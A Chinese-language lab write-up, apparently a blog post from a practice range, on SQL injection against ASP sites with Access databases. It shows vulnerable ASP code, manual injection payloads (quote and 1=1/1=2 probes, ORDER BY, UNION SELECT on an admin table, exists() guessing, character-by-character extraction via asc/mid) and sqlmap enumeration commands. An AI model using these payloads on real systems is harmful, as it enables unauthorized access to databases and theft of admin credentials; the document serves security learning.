0X01
我們想來了解一下access數據庫
Access注入是暴力猜解
Access數據結構(access只有一個數據庫)
Access數據庫
表名
列名
數據
沒有庫這個概念 只有表這個概念
這應該就是今天的sql語句
<% id=request("id") sql="select * from product where id="&id set rs=conn.execute(sql) %>
Set rs = conn.Execute(sql) 意思是說:執行這條SQL語句、並將它保存到記錄集里面! 希望可以幫你解決問題
Set 賦值; conn.Execute()執行sql 語句、並返回值
0X02好的有思路之后進行第一步 手工注入
第一步肯定是先判斷注入點是否存在注入啊 由於上面 看到語句sql="select * from product where id="&id已經構造閉合了
所以這里就不許要構造閉合
但是我們還是需要照着網上的步驟 因為現實中我們不可能知道源碼
1.判斷網站是否有注入點。
在以asp?id=xx(任意數字)結尾的連接依次添加:
-
'
-
1=1
-
1=2
若以上結果顯示"數據庫出錯","正常顯示","數據庫出錯"則該網站存在注入點。
判斷有注入點后我們進行手工注入看看有幾個字段
order by 22正確 23錯誤 好的 那么有22個字段
那我們就可以構造語句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
看見是3,15的位置是顯示的是數據 那么我們后面爆破出來列明后就可以直接 把名字放到3,15的位置上面去了
那我們現在來拆解表名,列名 方法access注入攻擊片段-逐字猜解法 //兼容性好,工具一般采用這種方法
構造語句
查表:and exists (select * from 表名) 存在的話就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查數據:1.確定長度 2.確定asc數據(asc編碼)
1
2
3
4
5
|
and
(
select
top
1 len(列名)
from
admin)=5 //=換成<=5也成立,下同
and
(
select
top
1
asc
(mid(列名,位數,1))
from
admin)=97
and
(
select
top
1
asc
(mid(列名,位數,1))
from
admin)=97
|
當然這里我們也可以用啊D來跑一下
0X02sqlmap梭哈
先來初步試探 因為不知道DBMS是什么類型的
sqlmap.py -u "www.xxx.xxx" (什么都不加 不知道數據庫類型)
這里sqlmap判斷出來是acess數據庫 問我們是否嘗試其他的數據庫類型 n 我們不嘗試了
那我們它又問我們是否要使用字典爆破表名 點yes 常見的3140個表名挨個的爆破
知道表明了后 直接爆破列名
sqlmap.py -u "www.xxx.xxx" -T “admin" --columns
也會繼續用字典進行枚舉爆破
今天是第一次接觸到access數據庫 以前遇見asp的網站的時候 就說為什么單引號報錯 雙引號也報錯 原來asp的sql和php的sql語句都不一樣 就一次小小的靶場就收獲這么多
感謝卿哥為我們提供一個這么好的環境 受益匪淺
學習不要浮躁 慢慢來